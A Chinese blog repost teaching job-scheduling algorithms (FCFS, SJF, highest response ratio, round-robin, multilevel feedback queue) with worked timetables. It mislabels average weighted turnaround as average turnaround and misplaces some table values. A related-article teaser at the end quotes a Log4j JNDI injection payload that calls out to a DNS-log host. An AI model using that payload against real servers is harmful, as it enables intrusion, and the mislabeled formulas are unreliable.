作业调度算法

news/2024/5/19 19:14:32/文章来源:https://blog.csdn.net/weixin_45609535/article/details/127143739

文章目录

    • 批作业调度算法
    • 调度的基本准则与方式
      • 基本准则
      • 方式
      • 常用的作业调度算法：
        • 先来先服务FCF
        • 最短作业优先SJFS
        • 高相应比优先HRRF
        • 时间片轮转
        • 多级反馈队列

批作业调度算法

调度的基本准则与方式

基本准则

  • CPU 利用率
  • 系统吞吐量
  • （★★★）周转时间
    • 周转时间=作业完成时间−提交时间作业完成时间-提交时间作业完成时间−提交时间
    • 平均周转时间=作业1周转时间+⋯+作业n周转时间n\frac{作业1周转时间+⋯+作业n周转时间}{n}n作业1周转时间+⋯+作业n周转时间​
    • 带权周转时间=作业周转时间作业实际运行时间\frac{作业周转时间作业}{实际运行时间}实际运行时间作业周转时间作业​
    • 平均带权周转时间=作业1带权周转时间+⋯+作业n带权周转时间n\frac{作业1带权周转时间+⋯+作业n带权周转时间}{n}n作业1带权周转时间+⋯+作业n带权周转时间​
  • 等待时间
  • 响应时间

方式

  • 非剥夺调度方式（非抢占式）
  • 剥夺调度方式（抢占式）

常用的作业调度算法：

作业周转时间 = 完成时间 - 提交时间

作业的带权周转时间 = 作业的周转时间 / 运行时间

平均周转时间 = 各作业的带权周转时间之和 / 作业数目

先来先服务FCF

  • 先来先服务算法（First Come Serve ， FCFS）

    是按作业进入系统的先后次序进行调度，即每次调度都在后备作业队列选择一个最先进入队列的作业

    特点：实现简单，有利于长作业，不利于短作业，有利于 CPU 繁忙型作业，不利于 I/O 繁忙型作业

    示例：

起始：

作业提交时间运行时间(min)开始时间结束时间周转时间 Ti /min带权周转时间 Wi /min
J18:0060
J28:5030
J39:0012
J49:106

第一轮：

  1. 先选择先来的，即先提交的 J1 ：8：00 ，将其作为第一个开始的，由于他前面没有等待队列，所以它的开始时间为：8：00。

  2. 结束时间为开始时间加上运行时间：8：00 + 60min = 9：00

  3. 周转时间为：完成时间(结束时间) - 提交时间 = 9:00 - 8:00 = 60min

  4. 带权周转时间 : 作业的周转时间 / 运行时间 = 60 / 60 = 1

作业提交时间运行时间(min)开始时间结束时间周转时间 Ti /min带权周转时间 Wi
J18:00608：009：00601
J28:5030
J39:0012
J49:106

第二轮：

  1. 由于按照先来先选择的算法，选l择第二的， J1 ：8：50 ，将其作为第二，由于他还需要等待他前面的完成了才到他，所以它的开始时间为：9：00。

  2. 结束时间为：开始时间 + 运行时间 = 9：00 + 30min = 9：30

  3. 周转时间为：完成时间(结束时间) - 提交时间 = 9:30 - 8:50 = 40min

  4. 带权周转时间 : 作业的周转时间 / 运行时间 = 40 / 30 = 4/3

作业提交时间运行时间(min)开始时间结束时间周转时间 Ti /min带权周转时间 Wi
J18:00608：009：00601
J28:50309：009：30404/3
J39:0012
J49:106

剩下的以此类推。。。

最终为：

作业提交时间运行时间(min)开始时间结束时间周转时间 Ti /min带权周转时间 Wi
J18:00608：009：00601
J28:50309：009：30404/3
J39:00129：309：424221/6
J49:1069：429：483819/3

平均周转时间 = 各作业的带权周转时间之和 / 作业数目

​ = (1+4/3+21/6+19/)/4 ≈ 3.0417

最短作业优先SJFS

  • 最短作业优先（Shortest Job First SJF）

    从后备队列中选择估计运行时间最短的作业

    特点：克服了FCFS 偏爱长作业的缺点，易于实现，会使系统平局周转时间最短，系统吞吐量大；

    缺点是：

    **1）需要预先知道作业所需的CPU时间 **

    **2）对长作业不利，忽视了作业等待时间，容易出现饥饿现象 **

    **3）未考虑作业的紧迫程度 **

    示例：

    起始：

    作业提交时间运行时间(min)开始时间结束时间周转时间 Ti /min带权周转时间 Wi /min
    J18:0060
    J28:5030
    J39:0012
    J49:106

第一轮：

  1. 由于J1是最先来的，此时没有别的等待队列，故先进行J1 ，所以它的开始时间为：8：00。

  2. 结束时间为：开始时间 + 运行时间 = 8：00 + 60min = 9：00

  3. 周转时间为：完成时间(结束时间) - 提交时间 = 9:00 - 8:00 = 60min

  4. 带权周转时间 : 作业的周转时间 / 运行时间 = 60 / 60 = 1

作业提交时间运行时间(min)开始时间结束时间周转时间 Ti /min带权周转时间 Wi /min
J18:00608：009：00601
J28:5030
J39:0012
J49:106

第二轮：

  1. 选取在第一轮执行结束之后的时间之前9：00提前的作业中运行时间最低段的作为第二轮作业，即：在J2：8：50 与J3：9：00中选取运行时间最短的，即J3.所以第二轮的开始时间为：9：00。

  2. 结束时间为：开始时间 + 运行时间 = 9：00 + 12min = 9：12

  3. 周转时间为：完成时间(结束时间) - 提交时间 = 9:12 - 9:00 = 12min

  4. 带权周转时间 : 作业的周转时间 / 运行时间 = 12 / 12 = 1

作业提交时间运行时间(min)开始时间结束时间周转时间 Ti /min带权周转时间 Wi /min
J18:00608：009：00601
J28:50309：009：12121
J39:0012
J49:106

第三轮：

  1. 选取在第二轮执行结束之后的时间之前9：12提前的作业中运行时间最低段的作为第二轮作业，即：在J2：8：50 与J4：9：10中选取运行时间最短的，即J4.所以第二轮的开始时间为：9：12。

  2. 结束时间为：开始时间 + 运行时间 = 9：12 + 6min = 9：18

  3. 周转时间为：完成时间(结束时间) - 提交时间 = 9:18 - 9:10 = 8min

  4. 带权周转时间 : 作业的周转时间 / 运行时间 = 8 / 6 = 4/3

作业提交时间运行时间(min)开始时间结束时间周转时间 Ti /min带权周转时间 Wi /min
J18:00608：009：00601
J28:5030
J39:00129：009：12121
J49:1069：129：1884/3

同理可得第四轮结果为：

作业提交时间运行时间(min)开始时间结束时间周转时间 Ti /min带权周转时间 Wi /min
J18:00608：009：00601
J28:50309：189：485829/15
J39:00129：009：12121
J49:1069：129：1884/3

平均周转时间 = 各作业的带权周转时间之和 / 作业数目

​ = (1+29/15+1+4/3)/4 ≈ 1.3167

高相应比优先HRRF

  • 响应比高者优先算法（Highest Response Ratio First ,HRRF）

    计算后备作业队列中每个作业的响应比，然后挑选响应比最高者，保证紧迫性作业优先

    其中响应比计算公式为：作业的响应时间作业的运行时间\frac {作业的响应时间}{作业的运行时间}作业的运行时间作业的响应时间​ = 作业的等待时间+作业的运行时间作业的运行时间\frac {作业的等待时间+作业的运行时间}{作业的运行时间}作业的运行时间作业的等待时间+作业的运行时间​= 1+ 作业的等待时间作业的运行时间\frac {作业的等待时间}{作业的运行时间}作业的运行时间作业的等待时间​

    特点：

    • 作业等待时间相同，要求服务时间越短，响应比越高，有利于短作业
    • 要求服务时间相同，作业的响应比由其等待时间确定，等待时间越长，其响应比越高。因而实现了先来先服务
    • 对于长作业，作业的响应比随等待时间的增加而提高，等待时间足够长时，响应比便可升到很高，从而也可获得处理机。因此，克服了饥饿状态，兼顾了长作业。

    示例：

    起始：

    作业提交时间运行时间(min)开始时间结束时间周转时间 Ti /min带权周转时间 Wi /min
    J18:0060
    J28:5030
    J39:0012
    J49:106

    第一轮：

    1. 首先还是一样的先执行第一个提交的作业J1，所以提交时间时间即为运行时间：8：00，

    2. 结束时间为：开始时间 + 运行时间 = 8：00 + 60min = 9：00

    1. 周转时间为：完成时间(结束时间) - 提交时间 = 9:00 - 8:00 = 60min

    2. 带权周转时间 : 作业的周转时间 / 运行时间 = 60 / 60 = 1

    3. 更新第一轮结束时间之前提交的作业的等待时间。

      显然，满足条件（在结束时间9：00之前提交作业的）有J2,J3

      ​ 等待时间为：上个作业结束时间 - 该作业提交时间

      ​ 显然，J1 = 0

      ​ J2 = 9：00 - 8：50 = 10

      ​ J3 = 9：00 - 9：00 = 0

作业提交时间运行时间(min)开始时间结束时间等待时间/min周转时间 Ti /min带权周转时间 Wi /min
J18:00608：009：000601
J28:503010
J39:00120
J49:106

第二轮：

  1. 首先在满足条件（在第一轮完成时间之前提交的作业）中选取响应比最大的作为第二轮作业任务

    • J2 = 1 + 10/30
    • J3 = 1 + 0/12

    显然，响应比：J2 > J3

    因此选取J2作为第二轮的任务，其开始时间为第一轮结束时间：9：00

  2. 结束时间为：开始时间 + 运行时间 = 9：00 + 30min = 9：30

  3. 周转时间为：完成时间(结束时间) - 提交时间 = 8：50 - 9:30 = 40min

  4. 带权周转时间 : 作业的周转时间 / 运行时间 = 40 / 30 = 4/3

  5. 更新第二轮结束时间之前提交的作业的等待时间。

    显然，满足条件（在结束时间9：30之前提交作业的）有J3,J4

    ​ 等待时间为：上个作业结束时间 - 该作业提交时间

    ​ J3 = 9：30 - 9：00 = 30

    ​ J4 = 9：30 - 9：10 = 20

    ​

作业提交时间运行时间(min)开始时间结束时间等待时间/min周转时间 Ti /min带权周转时间 Wi /min
J18:00608：009：000601
J28:50309：009：3010404/3
J39:001230
J49:10620

第三轮：

  1. 首先在满足条件（在第二轮完成时间之前提交的作业）中选取响应比最大的作为第二轮作业任务

    • J3 = 1 + 30/12
    • J4 = 1 + 20/6

    显然，响应比：J4 > J3

    因此选取J4作为第三轮的任务，其开始时间为第二轮结束时间：9：30

  2. 结束时间为：开始时间 + 运行时间 = 9：30 + 6min = 9：36

  3. 周转时间为：完成时间(结束时间) - 提交时间 = 9：36 - 9:10 = 26min

  4. 带权周转时间 : 作业的周转时间 / 运行时间 = 26 / 6 = 13/3

  5. 更新第二轮结束时间之前提交的作业的等待时间。

    显然，满足条件（在结束时间9：36之前提交作业的）有J3

    ​ 等待时间为：上个作业结束时间 - 该作业提交时间

    ​ J3 = 9：36 - 9：00 = 36

    ​

作业提交时间运行时间(min)开始时间结束时间等待时间/min周转时间 Ti /min带权周转时间 Wi /min
J18:00608：009：000601
J28:50309：009：3010404/3
J39:001236
J49:1069：309：36202613/3

同理可得第四轮结果：

作业提交时间运行时间(min)开始时间结束时间等待时间/min周转时间 Ti /min带权周转时间 Wi /min
J18:00608：009：000601
J28:50309：009：3010404/3
J39:00129：369：4836484
J49:1069：309：36202613/3

平均周转时间 = 各作业的带权周转时间之和 / 作业数目

​ = (1+4/3+4+13/3)/4 ≈ 2.6667

并且不难看出，响应比高者优先算法的效率是介于最短作业优先，来先服务算法

时间片轮转

  • 时间片轮转算法： 先来先服务，但仅能运行一个时间片。

特点：若一个时间片未完成，剥夺该进程处理机，并将这个进程挂到就绪队列末尾，将处理机分配给当前就绪队列的第一个进程。

示例：

起始

作业提交时间运行时间(min)开始时间结束时间周转时间 Ti /min带权周转时间 Wi /min
J18:00608:009:10707/6
J28:50308:509:485829/15
J39:00129:109:383819/6
J49:1069:309:362613/3

第一轮：因为刚开始8:00时刻后备队列中只有J1作业因此选择J1，且到之后的J2入队列时的8:50之前都在运行J1。因此J1的开始时间为8:00，J2的开始时间为8:50

第二轮：当J2从8:50运行完一个时间片之后，到了9:00J3进入后备队列队尾，然后J2运行完也插入队尾(这里假设若当进程运行完一个时间同时有新作业提交则新作业先插入队尾)。此时队列从头到尾的顺序依次为J1->J3->J2 ,选取队头元素J1继续运行一个时间片。

第三轮：当J1执行完一个时间片之后，作业便执行结束，时间为9:10 然后J4作业插入后被队列队尾，此时后备队列顺序为J3->J2->J4 ,选取队头元素J3继续运行一个时间片。。

后续分析如法炮制。。

image-20221002160150288

多级反馈队列

  • 多级反馈队列：时间片轮转和优先级调度，多个队列，优先级不同，时间片也不同。

特点：

  • 总的来说，优先级越高的队列越先执行，但其时间片越短。
  • 一个时间片未完成，降优先级
  • 一个优先级队列都运行完后，才能运行下一个
  • 若有高优先级来，则抢占资源

融合了前几种算法的优点

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.luyixian.cn/news_show_17465.aspx

如若内容造成侵权/违法违规/事实不符，请联系dt猫网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

A_A03_005 STM32程序DAPLINK下载

A_A03_005 STM32程序DAPLINK下载

目录 一、资料下载 二、相关链接 三、交流学习 四、常用单片机系统板 五、DAPLINK下载器 六、STM32程序DAPLINK下载 流程 七、注意事项 一、资料下载 网盘链接 戳它跳转 提取码：oqnj 二、相关链接 DAPLINK驱动安装 WIN10系统驱动免安装 MDK5下载与安装…
阅读更多...
利用Vulhub复现log4j漏洞CVE-2021-44228

利用Vulhub复现log4j漏洞CVE-2021-44228

利用Vulhub复现log4j漏洞CVE-2021-44228 利用Vulhub搭建好log4j漏洞靶场然后 得到网站： 找到漏洞利用点： solr/admin/cores?action 可以利用http://www.dnslog.cn/ 申请一个dns域名进行检测 利用 ?action${jndi:ldap://${sys:java.version}.xxx.dn…
阅读更多...
哈工大李治军老师操作系统笔记【28】：文件使用磁盘的实现（Learning OS Concepts By Coding Them !）

哈工大李治军老师操作系统笔记【28】：文件使用磁盘的实现（Learning OS Concepts By Coding Them !）

文章目录0 回顾1 实现1.1 文件实现1.2 file_write1.3 file_write的实现1.4 create_block的实现1.5 m_inode1.6 文件视图1.7 proc文件2 总结0 回顾 上节课讲了如何从生磁盘变到文件核心就是：从字符流位置算出盘块号（通过使用顺序结构，链式结构…
阅读更多...
AtCoder Beginner Contest 271 C Manga（贪心 set 注意事项）

AtCoder Beginner Contest 271 C Manga（贪心 set 注意事项）

题意&#xff1a; 给定一个数组&#xff0c;你可以对数组进行 若干次操作&#xff0c;每次操作可以 删除两个数字并添加一个数&#xff0c;求 1 2 3 连续自然数的最后一个值最大。 思路&#xff1a; 先将输入的元素 放入 set < int > tr 中进行去重&#xff0c;显然 去…
阅读更多...
EXT2文件系统

EXT2文件系统

目录数据结构和遍历支持Linux所有文件操作的EXT2文件系统通过虚拟磁盘mount_root构建基本文件系统三个级别时间戳转换为任意可读的日期格式数据结构和遍历Block#0 是引导块，文件系统不会使用它，它用于容纳从磁盘引导操作系统的引导程序Block#1 是超级块，用于容纳关于整个文件…
阅读更多...
有刷电机及无刷直流电机（BLDC）

有刷电机及无刷直流电机（BLDC）

有刷电机及无刷直流电机&#xff08;BLDC&#xff09;有刷电机及无刷直流电机&#xff08;BLDC&#xff09;有刷直流电机无刷直流电机有刷电机和无刷电机的区别无刷直流电机的应用无刷电机的驱动方法参考有刷电机及无刷直流电机&#xff08;BLDC&#xff09; 无刷直流电机&…
阅读更多...
Grafana面板(panel)：从数据源请求数据

Grafana面板(panel)：从数据源请求数据

文章目录概述请求编辑器(query editor)Query syntaxgrafana UI界面上的Query tab概述 query描述了Grafana的panel怎么和data source沟通&#xff0c;以便于获取数据来作图。query多久一次被发送给data source以及收集多少数据&#xff0c;这都可以在panel上的data source选项处…
阅读更多...
一簿N表汇总

一簿N表汇总

问题：一个工作簿中有按月分的N个工作表，按编号、月份、指标汇总，每个工作表的结构如下图。 函数解决：=SUMIF(INDIRECT(INT(COLUMN(B1)/2)&"月!A:A"),$A3,INDIRECT(INT(COLUMN(B1)/2)&"月!c"&MOD(COLUMN(B1),2)+2,)) 思路： 先完成Sumif的…
阅读更多...
【Jquery练习】tab栏切换

【Jquery练习】tab栏切换

哈喽大家好&#xff0c;本次是jQuery案例练习系列第二期&#xff0c;本期是用jQuery实现tab栏的切换。 笔者还是前端的菜鸟&#xff0c;还请大家多多指教呀~ 欢迎大佬指正&#xff0c;一起学习&#xff0c;一起加油&#xff01; 文章目录前言排他思想按钮切换HTML、CSSjQueryTa…
阅读更多...
C语言---12单链表---01基本功能实现

C语言---12单链表---01基本功能实现

数组的分类 静态数组&#xff1a;int arr[10]&#xff0c;数据过多造成空间溢出&#xff1b;数据过小空间浪费 动态数组&#xff1a;malloc calloc realloc&#xff0c;合理利用空间&#xff0c;但不能快捷的插入或删除数据&#xff08;会涉及到大量的数据移动&#xff09; 一…
阅读更多...
Day31_编程式路由导航

Day31_编程式路由导航

提出需求 1.观察this.$router 上有什么 &#xff08;push replace&#xff09; 2.实现this$router.push查看 1》在message组件里面&#xff1a; 3.实现this$router.replace查看 4.观察this.$router 上有什么 &#xff08;back forward&#xff09; 5.实现this$router.…
阅读更多...
AES、RSA、DH加密解密

AES、RSA、DH加密解密

1. 加密解密工具 1.1 编码方式 base64&#xff1a;严格来说base64并不是一种加密/解密算法&#xff0c;而是一种编码方式。base64不生成密钥&#xff0c;通过base64编码后的密文可以直接翻译成明文。 应用场景&#xff1a;两地的传输。 经过很多路由&#xff0c;不同的路由对…
阅读更多...
【ML10】Cost Function for Logistic Regression

【ML10】Cost Function for Logistic Regression

Cost Function for Logistic Regression概念notationpython for notation概念 计算逻辑回归函数的损失值。从而下一步降低损失值&#xff0c;提高逻辑回归函数判断准确率。 notation J(w,b)1m∑i0m−1[loss(fw,b(x(i)),y(i))]J(\mathbf{w},b) \frac{1}{m} \sum_{i0}^{m-1} \l…
阅读更多...
JavaScript中this指向哪儿？如何确定this？-前端面试进阶

JavaScript中this指向哪儿？如何确定this？-前端面试进阶

前言 只要你踏入JavaScript 的世界&#xff0c;那么你一定会遇到 this 关键词。有许多人所 this 是 JavaScript 中最复杂的东西之一&#xff0c;也有人说 this 其实很简单…但是事实确实&#xff0c;有许多工作了好多年的小伙伴&#xff0c;在 this 指向问题上也常常出现错误。…
阅读更多...
java web开发（maven创建servlet程序）

java web开发（maven创建servlet程序）

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 之前我们写了一篇文章&#xff0c;主要是说一般情况下怎么开发servlet。其实&#xff0c;用maven创建servlet工程也是非常方便的。网上有一篇文章&…
阅读更多...
PWN入门（9）NX enabled，PIE enabled与返回LibC库

PWN入门（9）NX enabled，PIE enabled与返回LibC库

简介 “pwn"这个词的源起以及它被广泛地普遍使用的原因&#xff0c;源自于魔兽争霸某段讯息上设计师打字时拼错而造成的&#xff0c;原先的字词应该是"own"这个字&#xff0c;因为 ‘p’ 与 ‘o’ 在标准英文键盘上的位置是相邻的&#xff0c;PWN 也是一个黑客…
阅读更多...
loss与metric的区别 以及 optimizer的介绍

loss与metric的区别 以及 optimizer的介绍

文章目录1、背景2、loss3、metrics4、对比5、当Loss和Metrics定义都是mse时&#xff0c;为什么显示不同6、optimizer7、参考资料1、背景 在神经网络的训练过程中&#xff0c;我们总是需要选择编译&#xff08;compile&#xff09;步骤的三个参数&#xff0c;loss&#xff0c; …
阅读更多...
C语言的输入输出函数

C语言的输入输出函数

1.scanf()输入函数和printf()输出函数scanf()函数可将用户按指定格式输入的数据赋值给指定的变量。 一般形式为：scanf("%格式字符",&相应变量名); 如：scanf("%d",&num);//从键盘输入的数据，将存入相对应变量的地址中注意点：（1）要输入的值须…
阅读更多...
数据结构--(栈、队列实现及3个OJ题)

数据结构--(栈、队列实现及3个OJ题)

文章目录1&#xff1a;队列的实现1.1&#xff1a;初始化1.2&#xff1a;销毁1.3&#xff1a;入队列1.4&#xff1a;出队列1.5&#xff1a;取队列的头1.6&#xff1a;取队列的尾1.7&#xff1a;判空1.8&#xff1a;取队列长度2&#xff1a;栈的实现1&#xff1a;初始化2&#xf…
阅读更多...
二叉树的最大深度——深度优先遍历/广度优先遍历

二叉树的最大深度——深度优先遍历/广度优先遍历

一、题目描述 给定一个二叉树&#xff0c;找出其最大深度。 二叉树的深度为根节点到最远叶子节点的最长路径上的节点数。 说明: 叶子节点是指没有子节点的节点。 二、思路 1.递归 三元解决&#xff0c;这个速度非常快。 2.深度优先搜索dfs 在计算当前二叉树的最大深度时&am…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023

友情链接： 我的编程经验分享 一条长河网 尧图网站开发 尧图建网站 广利置业